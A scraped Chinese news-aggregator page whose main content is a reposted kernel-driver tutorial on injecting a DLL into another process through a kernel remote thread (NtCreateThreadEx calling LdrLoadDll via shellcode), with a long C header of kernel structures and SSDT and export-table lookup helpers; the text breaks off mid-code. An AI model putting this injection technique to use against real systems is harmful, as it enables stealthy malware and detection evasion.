最新要闻
- 大写数字转换器 1030大写
- 【全球时快讯】触漫获得钻石的方法_触漫怎么快速赚钻石
- 社校联动!宝山这个社区化身实践课堂
- 环球头条:9.21正式发售:《收获日3》开发者日志曝光 共通社群建立
- 塞尔达传说王国之泪玩家打造了一辆诚实的星球大战飞梭赛车
- 环球速读:fpd检测器是什么?fpd检测器的原理是什么? 天天热点评
- 焦点简讯:游戏公司擅自出版网游被罚没72万
- 纯情罗曼史第二季漫画在线观看_纯情罗曼史第二季漫画
- 环球热推荐:明起生效,闲鱼修改演出门票发布规则:用户不得发布来源不明演出门票
- “村BA”“村超”不是“淄博烧烤”
- 251万起!日企TierIV发布纯电自动驾驶客车:由比亚迪改装而成
- 红魔8S Pro官宣:全球首发鸡血版骁龙8 Gen2 7月5日登场-全球视讯
- 全球百事通!小米汽车路试 博主感叹:神似保时捷
- 司机撞倒小孩后两次碾压 视频显示太惨:网友吐槽是撞死一次性赔偿 今日热门
- 天天讯息:闲鱼惊现Switch收购骗局!地址在温州还多次作案
- 每日观点:零售云解决方案服务商多点DMALL入选2022年中国大数据独角兽企业榜单
手机
要闻:Netflix《怪奇物语》第五季新卡司 终结者女主琳达确定出演
全球实时:「热点排名」杭州肤康-过敏检测与治疗专家| 杭州肤康官网
- 要闻:Netflix《怪奇物语》第五季新卡司 终结者女主琳达确定出演
- 全球实时:「热点排名」杭州肤康-过敏检测与治疗专家| 杭州肤康官网
- moto razr 40开售:3999的折叠屏卖疯了_世界快播报
- 全球动态:卖房中介费由谁出的
- 央媒聚焦内蒙古丨一以贯之久久为功,守护“塞外明珠”乌梁素海
- 比亚迪全新混动平台DM-o曝光 率先搭载方程豹首款车型|每日热讯
家电
驱动开发:内核远程线程实现DLL注入 看点
在笔者上一篇文章《内核RIP劫持实现DLL注入》
介绍了通过劫持RIP指针控制程序执行流实现插入DLL的目的,本章将继续探索全新的注入方式,通过NtCreateThreadEx
这个内核函数实现注入DLL的目的,需要注意的是该函数在微软系统中未被导出使用时需要首先得到该函数的入口地址,NtCreateThreadEx
函数最终会调用ZwCreateThread
,本章在寻找函数的方式上有所不同,前一章通过内存定位的方法得到所需地址,本章则是通过解析导出表实现。
内核导出表远程线程是一种实现DLL注入的常见技术之一。通过使用该技术,注入代码可以利用目标进程的导出表中已有的函数来加载DLL,并在远程线程中执行DLL代码,从而实现DLL注入。
【资料图】
具体而言,内核导出表远程线程实现DLL注入的过程包括以下步骤:
打开目标进程,获取其进程句柄。在目标进程的内存空间中分配一段可执行代码的内存空间,将注入代码写入其中。通过GetProcAddress函数获取目标进程中已有的一个导出函数的地址,如LoadLibraryA等函数。在目标进程中创建一个远程线程,将获取到的导出函数地址作为线程的入口点,并将DLL路径等参数传递给导出函数。远程线程在目标进程中运行,并调用导出函数。导出函数会将DLL加载到目标进程的内存中,并返回DLL的句柄。远程线程继续执行注入代码,利用DLL的句柄和GetProcAddress函数获取目标函数的地址,从而实现DLL注入。需要注意的是,内核导出表远程线程作为一种内核级别的注入技术,可能会被安全软件或操作系统检测到,并对其进行防御。因此,在使用这种技术进行DLL注入时,需要谨慎使用,并采取必要的安全措施,以防止被检测和防御。
在内核模式中实现这一过程的具体方法可分为如下步骤;
1.通过GetKeServiceDescriptorTable64
获取到SSDT表基址2.通过KeStackAttachProcess
附加到远程进程内3.通过GetUserModuleAddress
获取到Ntdll.dll
模块内存基址4.通过GetModuleExportAddress
获取到LdrLoadDll
函数的内存地址5.调用GetNative32Code
生成拉起特定DLL的ShellCode
片段6.通过NtCreateThreadEx
将ShellCode
执行起来,并自动加载DLL7.通过KeUnstackDetachProcess
取消附加远程进程,并做好最后的清理工作首先需要定义一个标准头文件,并将其命名为lyshark.h
其定义部分如下所示,此部分内容包含了微软官方结构定义,以及一些通用函数的规整,已做较为详细的分析和备注,由于前面课程中都有介绍,此处不再介绍具体原理,如果需要了解结构体内的含义,请去自行查阅微软官方文档。
// 署名权// right to sign one"s name on a piece of work// PowerBy: LyShark// Email: me@lyshark.com#include #include #include #define THREAD_CREATE_FLAGS_HIDE_FROM_DEBUGGER 0x00000004// -----------------------------------------------------------------------------------// 声明未导出函数// -----------------------------------------------------------------------------------NTKERNELAPI PPEB NTAPI PsGetProcessPeb(IN PEPROCESS Process);NTKERNELAPI UCHAR* PsGetProcessImageFileName(IN PEPROCESS Process);NTKERNELAPI PVOID NTAPI PsGetProcessWow64Process(IN PEPROCESS Process);NTKERNELAPI HANDLE PsGetProcessInheritedFromUniqueProcessId(IN PEPROCESS Process);NTSYSAPI NTSTATUS NTAPI ZwQueryInformationThread(IN HANDLE ThreadHandle, IN THREADINFOCLASS ThreadInformationClass, OUT PVOID ThreadInformation, IN ULONG ThreadInformationLength, OUT PULONG ReturnLength OPTIONAL);typedef NTSTATUS(NTAPI* LPFN_NTCREATETHREADEX)(OUT PHANDLE ThreadHandle, IN ACCESS_MASK DesiredAccess, IN PVOID ObjectAttributes, IN HANDLE ProcessHandle, IN PVOID StartAddress, IN PVOID Parameter, IN ULONG Flags, IN SIZE_T StackZeroBits, IN SIZE_T SizeOfStackCommit, IN SIZE_T SizeOfStackReserve, OUT PVOID ByteBuffer);// -----------------------------------------------------------------------------------// 结构体声明// -----------------------------------------------------------------------------------// SSDT表结构typedef struct _SYSTEM_SERVICE_TABLE{PVOID ServiceTableBase;PVOID ServiceCounterTableBase;ULONGLONG NumberOfServices;PVOID ParamTableBase;} SYSTEM_SERVICE_TABLE, *PSYSTEM_SERVICE_TABLE;PSYSTEM_SERVICE_TABLE KeServiceDescriptorTable;typedef struct _PEB_LDR_DATA32{ULONG Length;UCHAR Initialized;ULONG SsHandle;LIST_ENTRY32 InLoadOrderModuleList;LIST_ENTRY32 InMemoryOrderModuleList;LIST_ENTRY32 InInitializationOrderModuleList;} PEB_LDR_DATA32, *PPEB_LDR_DATA32;typedef struct _PEB_LDR_DATA{ULONG Length;UCHAR Initialized;PVOID SsHandle;LIST_ENTRY InLoadOrderModuleList;LIST_ENTRY InMemoryOrderModuleList;LIST_ENTRY InInitializationOrderModuleList;} PEB_LDR_DATA, *PPEB_LDR_DATA;// PEB32/PEB64typedef struct _PEB32{UCHAR InheritedAddressSpace;UCHAR ReadImageFileExecOptions;UCHAR BeingDebugged;UCHAR BitField;ULONG Mutant;ULONG ImageBaseAddress;ULONG Ldr;ULONG ProcessParameters;ULONG SubSystemData;ULONG ProcessHeap;ULONG FastPebLock;ULONG AtlThunkSListPtr;ULONG IFEOKey;ULONG CrossProcessFlags;ULONG UserSharedInfoPtr;ULONG SystemReserved;ULONG AtlThunkSListPtr32;ULONG ApiSetMap;} PEB32, *PPEB32;typedef struct _PEB{UCHAR InheritedAddressSpace;UCHAR ReadImageFileExecOptions;UCHAR BeingDebugged;UCHAR BitField;PVOID Mutant;PVOID ImageBaseAddress;PPEB_LDR_DATA Ldr;PVOID ProcessParameters;PVOID SubSystemData;PVOID ProcessHeap;PVOID FastPebLock;PVOID AtlThunkSListPtr;PVOID IFEOKey;PVOID CrossProcessFlags;PVOID KernelCallbackTable;ULONG SystemReserved;ULONG AtlThunkSListPtr32;PVOID ApiSetMap;} PEB, *PPEB;typedef struct _LDR_DATA_TABLE_ENTRY32{LIST_ENTRY32 InLoadOrderLinks;LIST_ENTRY32 InMemoryOrderLinks;LIST_ENTRY32 InInitializationOrderLinks;ULONG DllBase;ULONG EntryPoint;ULONG SizeOfImage;UNICODE_STRING32 FullDllName;UNICODE_STRING32 BaseDllName;ULONG Flags;USHORT LoadCount;USHORT TlsIndex;LIST_ENTRY32 HashLinks;ULONG TimeDateStamp;} LDR_DATA_TABLE_ENTRY32, *PLDR_DATA_TABLE_ENTRY32;typedef struct _LDR_DATA_TABLE_ENTRY{LIST_ENTRY InLoadOrderLinks;LIST_ENTRY InMemoryOrderLinks;LIST_ENTRY InInitializationOrderLinks;PVOID DllBase;PVOID EntryPoint;ULONG SizeOfImage;UNICODE_STRING FullDllName;UNICODE_STRING BaseDllName;ULONG Flags;USHORT LoadCount;USHORT TlsIndex;LIST_ENTRY HashLinks;ULONG TimeDateStamp;} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;typedef struct _THREAD_BASIC_INFORMATION{NTSTATUS ExitStatus;PVOID TebBaseAddress;CLIENT_ID ClientId;ULONG_PTR AffinityMask;LONG Priority;LONG BasePriority;} THREAD_BASIC_INFORMATION, *PTHREAD_BASIC_INFORMATION;typedef struct _NT_PROC_THREAD_ATTRIBUTE_ENTRY{ULONG Attribute; // PROC_THREAD_ATTRIBUTE_XXXSIZE_T Size;ULONG_PTR Value;ULONG Unknown;} NT_PROC_THREAD_ATTRIBUTE_ENTRY, *NT_PPROC_THREAD_ATTRIBUTE_ENTRY;typedef struct _NT_PROC_THREAD_ATTRIBUTE_LIST{ULONG Length;NT_PROC_THREAD_ATTRIBUTE_ENTRY Entry[1];} NT_PROC_THREAD_ATTRIBUTE_LIST, *PNT_PROC_THREAD_ATTRIBUTE_LIST;// 注入ShellCode结构typedef struct _INJECT_BUFFER{UCHAR Code[0x200];union{UNICODE_STRING Path64;UNICODE_STRING32 Path32;};wchar_t Buffer[488];PVOID ModuleHandle;ULONG Complete;NTSTATUS Status;} INJECT_BUFFER, *PINJECT_BUFFER;// -----------------------------------------------------------------------------------// 一些开发中的通用函数封装,可任意拷贝使用// -----------------------------------------------------------------------------------// 传入函数名获取SSDT导出表RVA// 参数1:传入函数名称ULONG GetSSDTRVA(UCHAR *function_name){NTSTATUS Status;HANDLE FileHandle;IO_STATUS_BLOCK ioStatus;FILE_STANDARD_INFORMATION FileInformation;// 设置NTDLL路径UNICODE_STRING uniFileName;RtlInitUnicodeString(&uniFileName, L"\\SystemRoot\\system32\\ntoskrnl.exe");// 初始化打开文件的属性OBJECT_ATTRIBUTES objectAttributes;InitializeObjectAttributes(&objectAttributes, &uniFileName, OBJ_KERNEL_HANDLE | OBJ_CASE_INSENSITIVE, NULL, NULL);// 打开文件Status = IoCreateFile(&FileHandle, FILE_READ_ATTRIBUTES | SYNCHRONIZE, &objectAttributes, &ioStatus, 0, FILE_READ_ATTRIBUTES, FILE_SHARE_READ, FILE_OPEN, FILE_SYNCHRONOUS_IO_NONALERT, NULL, 0, CreateFileTypeNone, NULL, IO_NO_PARAMETER_CHECKING);if (!NT_SUCCESS(Status)){return 0;}// 获取文件信息Status = ZwQueryInformationFile(FileHandle, &ioStatus, &FileInformation, sizeof(FILE_STANDARD_INFORMATION), FileStandardInformation);if (!NT_SUCCESS(Status)){ZwClose(FileHandle);return 0;}// 判断文件大小是否过大if (FileInformation.EndOfFile.HighPart != 0){ZwClose(FileHandle);return 0;}// 取文件大小ULONG uFileSize = FileInformation.EndOfFile.LowPart;// 分配内存PVOID pBuffer = ExAllocatePoolWithTag(PagedPool, uFileSize + 0x100, (ULONG)"PGu");if (pBuffer == NULL){ZwClose(FileHandle);return 0;}// 从头开始读取文件LARGE_INTEGER byteOffset;byteOffset.LowPart = 0;byteOffset.HighPart = 0;Status = ZwReadFile(FileHandle, NULL, NULL, NULL, &ioStatus, pBuffer, uFileSize, &byteOffset, NULL);if (!NT_SUCCESS(Status)){ZwClose(FileHandle);return 0;}// 取出导出表PIMAGE_DOS_HEADER pDosHeader;PIMAGE_NT_HEADERS pNtHeaders;PIMAGE_SECTION_HEADER pSectionHeader;ULONGLONG FileOffset;PIMAGE_EXPORT_DIRECTORY pExportDirectory;// DLL内存数据转成DOS头结构pDosHeader = (PIMAGE_DOS_HEADER)pBuffer;// 取出PE头结构pNtHeaders = (PIMAGE_NT_HEADERS)((ULONGLONG)pBuffer + pDosHeader->e_lfanew);// 判断PE头导出表表是否为空if (pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress == 0){return 0;}// 取出导出表偏移FileOffset = pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;// 取出节头结构pSectionHeader = (PIMAGE_SECTION_HEADER)((ULONGLONG)pNtHeaders + sizeof(IMAGE_NT_HEADERS));PIMAGE_SECTION_HEADER pOldSectionHeader = pSectionHeader;// 遍历节结构进行地址运算for (UINT16 Index = 0; Index < pNtHeaders->FileHeader.NumberOfSections; Index++, pSectionHeader++){if (pSectionHeader->VirtualAddress <= FileOffset && FileOffset <= pSectionHeader->VirtualAddress + pSectionHeader->SizeOfRawData){FileOffset = FileOffset - pSectionHeader->VirtualAddress + pSectionHeader->PointerToRawData;}}// 导出表地址pExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((ULONGLONG)pBuffer + FileOffset);// 取出导出表函数地址PULONG AddressOfFunctions;FileOffset = pExportDirectory->AddressOfFunctions;// 遍历节结构进行地址运算pSectionHeader = pOldSectionHeader;for (UINT16 Index = 0; Index < pNtHeaders->FileHeader.NumberOfSections; Index++, pSectionHeader++){if (pSectionHeader->VirtualAddress <= FileOffset && FileOffset <= pSectionHeader->VirtualAddress + pSectionHeader->SizeOfRawData){FileOffset = FileOffset - pSectionHeader->VirtualAddress + pSectionHeader->PointerToRawData;}}AddressOfFunctions = (PULONG)((ULONGLONG)pBuffer + FileOffset);// 取出导出表函数名字PUSHORT AddressOfNameOrdinals;FileOffset = pExportDirectory->AddressOfNameOrdinals;// 遍历节结构进行地址运算pSectionHeader = pOldSectionHeader;for (UINT16 Index = 0; Index < pNtHeaders->FileHeader.NumberOfSections; Index++, pSectionHeader++){if (pSectionHeader->VirtualAddress <= FileOffset && FileOffset <= pSectionHeader->VirtualAddress + pSectionHeader->SizeOfRawData){FileOffset = FileOffset - pSectionHeader->VirtualAddress + pSectionHeader->PointerToRawData;}}AddressOfNameOrdinals = (PUSHORT)((ULONGLONG)pBuffer + FileOffset);//取出导出表函数序号PULONG AddressOfNames;FileOffset = pExportDirectory->AddressOfNames;//遍历节结构进行地址运算pSectionHeader = pOldSectionHeader;// 循环所有节for (UINT16 Index = 0; Index < pNtHeaders->FileHeader.NumberOfSections; Index++, pSectionHeader++){// 寻找符合条件的节if (pSectionHeader->VirtualAddress <= FileOffset && FileOffset <= pSectionHeader->VirtualAddress + pSectionHeader->SizeOfRawData){// 得到文件偏移FileOffset = FileOffset - pSectionHeader->VirtualAddress + pSectionHeader->PointerToRawData;}}AddressOfNames = (PULONG)((ULONGLONG)pBuffer + FileOffset);//DbgPrint("\n AddressOfFunctions %llX AddressOfNameOrdinals %llX AddressOfNames %llX \n", (ULONGLONG)AddressOfFunctions- (ULONGLONG)pBuffer, (ULONGLONG)AddressOfNameOrdinals- (ULONGLONG)pBuffer, (ULONGLONG)AddressOfNames- (ULONGLONG)pBuffer);//DbgPrint("\n AddressOfFunctions %llX AddressOfNameOrdinals %llX AddressOfNames %llX \n", pExportDirectory->AddressOfFunctions, pExportDirectory->AddressOfNameOrdinals, pExportDirectory->AddressOfNames);// 开始分析导出表ULONG uOffset;LPSTR FunName;ULONG uAddressOfNames;ULONG TargetOff = 0;// 循环导出表for (ULONG uIndex = 0; uIndex < pExportDirectory->NumberOfNames; uIndex++, AddressOfNames++, AddressOfNameOrdinals++){uAddressOfNames = *AddressOfNames;pSectionHeader = pOldSectionHeader;for (UINT16 Index = 0; Index < pNtHeaders->FileHeader.NumberOfSections; Index++, pSectionHeader++){// 函数地址在某个范围内if (pSectionHeader->VirtualAddress <= uAddressOfNames && uAddressOfNames <= pSectionHeader->VirtualAddress + pSectionHeader->SizeOfRawData){uOffset = uAddressOfNames - pSectionHeader->VirtualAddress + pSectionHeader->PointerToRawData;}}// 得到函数名FunName = (LPSTR)((ULONGLONG)pBuffer + uOffset);// 判断是否符合要求if (!_stricmp((const char *)function_name, FunName)){// 返回函数地址TargetOff = (ULONG)AddressOfFunctions[*AddressOfNameOrdinals];DbgPrint("索引 [ %p ] 函数名 [ %s ] 相对RVA [ %p ] \n", *AddressOfNameOrdinals, FunName, TargetOff);}}ExFreePoolWithTag(pBuffer, (ULONG)"PGu");ZwClose(FileHandle);return TargetOff;}// 传入函数名 获取该函数所在模块下标ULONG GetIndexByName(UCHAR *function_name){NTSTATUS Status;HANDLE FileHandle;IO_STATUS_BLOCK ioStatus;FILE_STANDARD_INFORMATION FileInformation;// 设置NTDLL路径UNICODE_STRING uniFileName;RtlInitUnicodeString(&uniFileName, L"\\SystemRoot\\system32\\ntdll.dll");// 初始化打开文件的属性OBJECT_ATTRIBUTES objectAttributes;InitializeObjectAttributes(&objectAttributes, &uniFileName, OBJ_KERNEL_HANDLE | OBJ_CASE_INSENSITIVE, NULL, NULL);// 打开文件Status = IoCreateFile(&FileHandle, FILE_READ_ATTRIBUTES | SYNCHRONIZE, &objectAttributes, &ioStatus, 0, FILE_READ_ATTRIBUTES, FILE_SHARE_READ, FILE_OPEN, FILE_SYNCHRONOUS_IO_NONALERT, NULL, 0, CreateFileTypeNone, NULL, IO_NO_PARAMETER_CHECKING);if (!NT_SUCCESS(Status)){return 0;}// 获取文件信息Status = ZwQueryInformationFile(FileHandle, &ioStatus, &FileInformation, sizeof(FILE_STANDARD_INFORMATION), FileStandardInformation);if (!NT_SUCCESS(Status)){ZwClose(FileHandle);return 0;}// 判断文件大小是否过大if (FileInformation.EndOfFile.HighPart != 0){ZwClose(FileHandle);return 0;}// 取文件大小ULONG uFileSize = FileInformation.EndOfFile.LowPart;// 分配内存PVOID pBuffer = ExAllocatePoolWithTag(PagedPool, uFileSize + 0x100, (ULONG)"Ntdl");if (pBuffer == NULL){ZwClose(FileHandle);return 0;}// 从头开始读取文件LARGE_INTEGER byteOffset;byteOffset.LowPart = 0;byteOffset.HighPart = 0;Status = ZwReadFile(FileHandle, NULL, NULL, NULL, &ioStatus, pBuffer, uFileSize, &byteOffset, NULL);if (!NT_SUCCESS(Status)){ZwClose(FileHandle);return 0;}// 取出导出表PIMAGE_DOS_HEADER pDosHeader;PIMAGE_NT_HEADERS pNtHeaders;PIMAGE_SECTION_HEADER pSectionHeader;ULONGLONG FileOffset;PIMAGE_EXPORT_DIRECTORY pExportDirectory;// DLL内存数据转成DOS头结构pDosHeader = (PIMAGE_DOS_HEADER)pBuffer;// 取出PE头结构pNtHeaders = (PIMAGE_NT_HEADERS)((ULONGLONG)pBuffer + pDosHeader->e_lfanew);// 判断PE头导出表表是否为空if (pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress == 0){return 0;}// 取出导出表偏移FileOffset = pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;// 取出节头结构pSectionHeader = (PIMAGE_SECTION_HEADER)((ULONGLONG)pNtHeaders + sizeof(IMAGE_NT_HEADERS));PIMAGE_SECTION_HEADER pOldSectionHeader = pSectionHeader;// 遍历节结构进行地址运算for (UINT16 Index = 0; Index < pNtHeaders->FileHeader.NumberOfSections; Index++, pSectionHeader++){if (pSectionHeader->VirtualAddress <= FileOffset && FileOffset <= pSectionHeader->VirtualAddress + pSectionHeader->SizeOfRawData){FileOffset = FileOffset - pSectionHeader->VirtualAddress + pSectionHeader->PointerToRawData;}}// 导出表地址pExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((ULONGLONG)pBuffer + FileOffset);// 取出导出表函数地址PULONG AddressOfFunctions;FileOffset = pExportDirectory->AddressOfFunctions;// 遍历节结构进行地址运算pSectionHeader = pOldSectionHeader;for (UINT16 Index = 0; Index < pNtHeaders->FileHeader.NumberOfSections; Index++, pSectionHeader++){if (pSectionHeader->VirtualAddress <= FileOffset && FileOffset <= pSectionHeader->VirtualAddress + pSectionHeader->SizeOfRawData){FileOffset = FileOffset - pSectionHeader->VirtualAddress + pSectionHeader->PointerToRawData;}}// 此处需要注意foa和rva转换过程AddressOfFunctions = (PULONG)((ULONGLONG)pBuffer + FileOffset);// 取出导出表函数名字PUSHORT AddressOfNameOrdinals;FileOffset = pExportDirectory->AddressOfNameOrdinals;// 遍历节结构进行地址运算pSectionHeader = pOldSectionHeader;for (UINT16 Index = 0; Index < pNtHeaders->FileHeader.NumberOfSections; Index++, pSectionHeader++){if (pSectionHeader->VirtualAddress <= FileOffset && FileOffset <= pSectionHeader->VirtualAddress + pSectionHeader->SizeOfRawData){FileOffset = FileOffset - pSectionHeader->VirtualAddress + pSectionHeader->PointerToRawData;}}// 此处需要注意foa和rva转换过程AddressOfNameOrdinals = (PUSHORT)((ULONGLONG)pBuffer + FileOffset);// 取出导出表函数序号PULONG AddressOfNames;FileOffset = pExportDirectory->AddressOfNames;// 遍历节结构进行地址运算pSectionHeader = pOldSectionHeader;for (UINT16 Index = 0; Index < pNtHeaders->FileHeader.NumberOfSections; Index++, pSectionHeader++){if (pSectionHeader->VirtualAddress <= FileOffset && FileOffset <= pSectionHeader->VirtualAddress + pSectionHeader->SizeOfRawData){FileOffset = FileOffset - pSectionHeader->VirtualAddress + pSectionHeader->PointerToRawData;}}// 此处需要注意foa和rva转换过程AddressOfNames = (PULONG)((ULONGLONG)pBuffer + FileOffset);// 分析导出表ULONG uNameOffset;ULONG uOffset;LPSTR FunName;PVOID pFuncAddr;ULONG uServerIndex;ULONG uAddressOfNames;for (ULONG uIndex = 0; uIndex < pExportDirectory->NumberOfNames; uIndex++, AddressOfNames++, AddressOfNameOrdinals++){uAddressOfNames = *AddressOfNames;pSectionHeader = pOldSectionHeader;for (UINT32 Index = 0; Index < pNtHeaders->FileHeader.NumberOfSections; Index++, pSectionHeader++){if (pSectionHeader->VirtualAddress <= uAddressOfNames && uAddressOfNames <= pSectionHeader->VirtualAddress + pSectionHeader->SizeOfRawData){uOffset = uAddressOfNames - pSectionHeader->VirtualAddress + pSectionHeader->PointerToRawData;}}FunName = (LPSTR)((ULONGLONG)pBuffer + uOffset);// 判断开头是否是Zwif (FunName[0] == "Z" && FunName[1] == "w"){pSectionHeader = pOldSectionHeader;// 如果是则根据AddressOfNameOrdinals得到文件偏移uOffset = (ULONG)AddressOfFunctions[*AddressOfNameOrdinals];for (UINT32 Index = 0; Index < pNtHeaders->FileHeader.NumberOfSections; Index++, pSectionHeader++){if (pSectionHeader->VirtualAddress <= uOffset && uOffset <= pSectionHeader->VirtualAddress + pSectionHeader->SizeOfRawData){uNameOffset = uOffset - pSectionHeader->VirtualAddress + pSectionHeader->PointerToRawData;}}pFuncAddr = (PVOID)((ULONGLONG)pBuffer + uNameOffset);uServerIndex = *(PULONG)((ULONGLONG)pFuncAddr + 4);FunName[0] = "N";FunName[1] = "t";// 获得指定的编号if (!_stricmp(FunName, (const char *)function_name)){ExFreePoolWithTag(pBuffer, (ULONG)"Ntdl");ZwClose(FileHandle);return uServerIndex;}}}ExFreePoolWithTag(pBuffer, (ULONG)"Ntdl");ZwClose(FileHandle);return 0;}// 获取模块导出函数PVOID GetModuleExportAddress(IN PVOID ModuleBase, IN PCCHAR FunctionName, IN PEPROCESS EProcess){PIMAGE_DOS_HEADER ImageDosHeader = (PIMAGE_DOS_HEADER)ModuleBase;PIMAGE_NT_HEADERS32 ImageNtHeaders32 = NULL;PIMAGE_NT_HEADERS64 ImageNtHeaders64 = NULL;PIMAGE_EXPORT_DIRECTORY ImageExportDirectory = NULL;ULONG ExportDirectorySize = 0;ULONG_PTR FunctionAddress = 0;if (ModuleBase == NULL){return NULL;}if (ImageDosHeader->e_magic != IMAGE_DOS_SIGNATURE){return NULL;}ImageNtHeaders32 = (PIMAGE_NT_HEADERS32)((PUCHAR)ModuleBase + ImageDosHeader->e_lfanew);ImageNtHeaders64 = (PIMAGE_NT_HEADERS64)((PUCHAR)ModuleBase + ImageDosHeader->e_lfanew);// 判断PE结构位数if (ImageNtHeaders64->OptionalHeader.Magic == IMAGE_NT_OPTIONAL_HDR64_MAGIC){ImageExportDirectory = (PIMAGE_EXPORT_DIRECTORY)(ImageNtHeaders64->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress + (ULONG_PTR)ModuleBase);ExportDirectorySize = ImageNtHeaders64->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size;}else{ImageExportDirectory = (PIMAGE_EXPORT_DIRECTORY)(ImageNtHeaders32->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress + (ULONG_PTR)ModuleBase);ExportDirectorySize = ImageNtHeaders32->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size;}// 解析内存导出表PUSHORT pAddressOfOrds = (PUSHORT)(ImageExportDirectory->AddressOfNameOrdinals + (ULONG_PTR)ModuleBase);PULONG pAddressOfNames = (PULONG)(ImageExportDirectory->AddressOfNames + (ULONG_PTR)ModuleBase);PULONG pAddressOfFuncs = (PULONG)(ImageExportDirectory->AddressOfFunctions + (ULONG_PTR)ModuleBase);for (ULONG i = 0; i < ImageExportDirectory->NumberOfFunctions; ++i){USHORT OrdIndex = 0xFFFF;PCHAR pName = NULL;// 如果函数名小于等于0xFFFF 则说明是序号导出if ((ULONG_PTR)FunctionName <= 0xFFFF){OrdIndex = (USHORT)i;}// 否则则说明是名字导出else if ((ULONG_PTR)FunctionName > 0xFFFF && i < ImageExportDirectory->NumberOfNames){pName = (PCHAR)(pAddressOfNames[i] + (ULONG_PTR)ModuleBase);OrdIndex = pAddressOfOrds[i];}// 未知导出函数else{return NULL;}// 对比模块名是否是我们所需要的if (((ULONG_PTR)FunctionName <= 0xFFFF && (USHORT)((ULONG_PTR)FunctionName) == OrdIndex + ImageExportDirectory->Base) || ((ULONG_PTR)FunctionName > 0xFFFF && strcmp(pName, FunctionName) == 0)){// 是则保存下来FunctionAddress = pAddressOfFuncs[OrdIndex] + (ULONG_PTR)ModuleBase;break;}}return (PVOID)FunctionAddress;}// 获取指定用户模块基址PVOID GetUserModuleAddress(IN PEPROCESS EProcess, IN PUNICODE_STRING ModuleName, IN BOOLEAN IsWow64){if (EProcess == NULL){return NULL;}__try{// 定时250ms毫秒LARGE_INTEGER Time = { 0 };Time.QuadPart = -250ll * 10 * 1000;// 32位执行if (IsWow64){// 得到进程PEB进程环境块PPEB32 Peb32 = (PPEB32)PsGetProcessWow64Process(EProcess);if (Peb32 == NULL){return NULL;}// 等待 250ms * 10for (INT i = 0; !Peb32->Ldr && i < 10; i++){// 等待一会在执行KeDelayExecutionThread(KernelMode, TRUE, &Time);}// 没有找到返回空if (!Peb32->Ldr){return NULL;}// 搜索 InLoadOrderModuleListfor (PLIST_ENTRY32 ListEntry = (PLIST_ENTRY32)((PPEB_LDR_DATA32)Peb32->Ldr)->InLoadOrderModuleList.Flink; ListEntry != &((PPEB_LDR_DATA32)Peb32->Ldr)->InLoadOrderModuleList; ListEntry = (PLIST_ENTRY32)ListEntry->Flink){UNICODE_STRING UnicodeString;PLDR_DATA_TABLE_ENTRY32 LdrDataTableEntry32 = CONTAINING_RECORD(ListEntry, LDR_DATA_TABLE_ENTRY32, InLoadOrderLinks);RtlUnicodeStringInit(&UnicodeString, (PWCH)LdrDataTableEntry32->BaseDllName.Buffer);// 判断模块名是否符合要求if (RtlCompareUnicodeString(&UnicodeString, ModuleName, TRUE) == 0){// 符合则返回模块基址return (PVOID)LdrDataTableEntry32->DllBase;}}}// 64位执行else{// 得到进程PEB进程环境块PPEB Peb = PsGetProcessPeb(EProcess);if (!Peb){return NULL;}// 等待for (INT i = 0; !Peb->Ldr && i < 10; i++){// 将当前线程置于指定间隔的可警报或不可操作的等待状态KeDelayExecutionThread(KernelMode, TRUE, &Time);}if (!Peb->Ldr){return NULL;}// 遍历链表for (PLIST_ENTRY ListEntry = Peb->Ldr->InLoadOrderModuleList.Flink; ListEntry != &Peb->Ldr->InLoadOrderModuleList; ListEntry = ListEntry->Flink){PLDR_DATA_TABLE_ENTRY LdrDataTableEntry = CONTAINING_RECORD(ListEntry, LDR_DATA_TABLE_ENTRY, InLoadOrderLinks);// 判断模块名是否符合要求if (RtlCompareUnicodeString(&LdrDataTableEntry->BaseDllName, ModuleName, TRUE) == 0){// 返回模块基址return LdrDataTableEntry->DllBase;}}}}__except (EXCEPTION_EXECUTE_HANDLER){return NULL;}return NULL;}//得到ntos的基址ULONGLONG GetOsBaseAddress(PDRIVER_OBJECT pDriverObject){UNICODE_STRING osName = { 0 };WCHAR wzData[0x100] = L"ntoskrnl.exe";RtlInitUnicodeString(&osName, wzData);LDR_DATA_TABLE_ENTRY *pDataTableEntry, *pTempDataTableEntry;// 双循环链表定义PLIST_ENTRY pList;// 指向驱动对象的DriverSectionpDataTableEntry = (LDR_DATA_TABLE_ENTRY*)pDriverObject->DriverSection;// 判断是否为空if (!pDataTableEntry){return 0;}// 得到链表地址pList = pDataTableEntry->InLoadOrderLinks.Flink;// 判断是否等于头部while (pList != &pDataTableEntry->InLoadOrderLinks){pTempDataTableEntry = (LDR_DATA_TABLE_ENTRY *)pList;// 如果是ntoskrnl.exe则返回该模块基址if (RtlEqualUnicodeString(&pTempDataTableEntry->BaseDllName, &osName, TRUE)){return (ULONGLONG)pTempDataTableEntry->DllBase;}pList = pList->Flink;}return 0;}// 得到SSDT表的基地址ULONGLONG GetKeServiceDescriptorTable64(PDRIVER_OBJECT DriverObject){/*nt!KiSystemServiceUser+0xdc:fffff806`42c79987 8bf8 mov edi,eaxfffff806`42c79989 c1ef07 shr edi,7fffff806`42c7998c 83e720 and edi,20hfffff806`42c7998f 25ff0f0000 and eax,0FFFhnt!KiSystemServiceRepeat:fffff806`42c79994 4c8d15e59e3b00 lea r10,[nt!KeServiceDescriptorTable (fffff806`43033880)]fffff806`42c7999b 4c8d1dde203a00 lea r11,[nt!KeServiceDescriptorTableShadow (fffff806`4301ba80)]fffff806`42c799a2 f7437880000000 test dword ptr [rbx+78h],80hfffff806`42c799a9 7413 je 